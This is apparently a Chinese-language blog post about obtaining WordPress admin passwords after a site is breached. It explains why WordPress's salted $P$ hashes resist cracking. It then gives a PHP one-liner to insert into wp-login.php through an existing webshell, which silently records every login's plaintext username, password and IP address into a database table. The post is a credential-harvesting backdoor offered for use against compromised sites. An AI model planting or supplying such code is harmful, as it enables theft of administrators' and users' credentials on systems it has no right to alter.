关于wordpress密码的破解思路
wordpress这种CMS国外用的非常多,安全性还是不错的,跟新快,看到这种东西,除了管理员架好之后就托管的垃圾站,持续更新的wordpress还是很让人头疼的。
如果通过某种方法拿下了webshell,拖库之后会发现wp_user这个wordpress这个用户表,里面的密码加密方法还是让人绝望的,我大概找了找这方面的资料发现他的加密方法如下(此处引用):
WordPress系统的用户密码是保存在wp_users数据表的user_pass字段,密码是通过Portable PHP password hashing framework类产生的,密码的形式是随机且不可逆,同一个明文的密码在不同时间,产生的密文也不一样,相对来说较为安全。
WordPress用户密码产生的过程是,当需要生成用户密码的时候,随机产生了一个salt,然后将salt和password相加,又进行了count次md5,最后和encode64的hash数值累加,就得到了一个以$P$开头的密码,这个密码每次产生的结果都不一样。
对于这种密码破解基本无望,在旧版本的wordpress中会有这样一个方法可能取得明文密码,拖库到本地,本地搭建wordpress,还原wordpress。然后修改管理员邮箱,点击忘记密码,理论上wordpress会将明文密码发到管理员的邮箱,所以取得明文密码。但可能本菜鸟才疏学浅,不能知道是哪个版本有这样一个漏洞。或者究竟有没有不可考。并且这种加密算法不可逆,wordpress如何从密文本身还原出明文发送到administrator的邮箱的?想不通。难道存放了明文密码?呵呵。。。
所以就有了另一种思路,直接截获明文密码,我们有webshell的时候,只要权限够大(一般修改权限还是有的)。我们可以修改wordpress本身的脚本,本文修改wordpress中的wp-login.php实现只要有人从后台登录就能记录下鞥如的密码,也包括管理员的。
用webshell搜索wp-login.php中的这样一个关键字case 'login'回车之后增加脚本:
$log_user=$_POST['log'];$log_pwd=$_POST['pwd'];$log_ip=$_SERVER["REMOTE_ADDR"];$connect = mysql_connect("localhost", "用户名", "密码");mysql_select_db("库",$connect);mysql_query("set names utf8");$sql="insert into wp_test values('$log_user','$log_pwd','$log_ip')";$res=mysql_query($sql,$connect);
此方法有一定的风险,脚本需本地测试好,否则可能造成wordpress奔溃。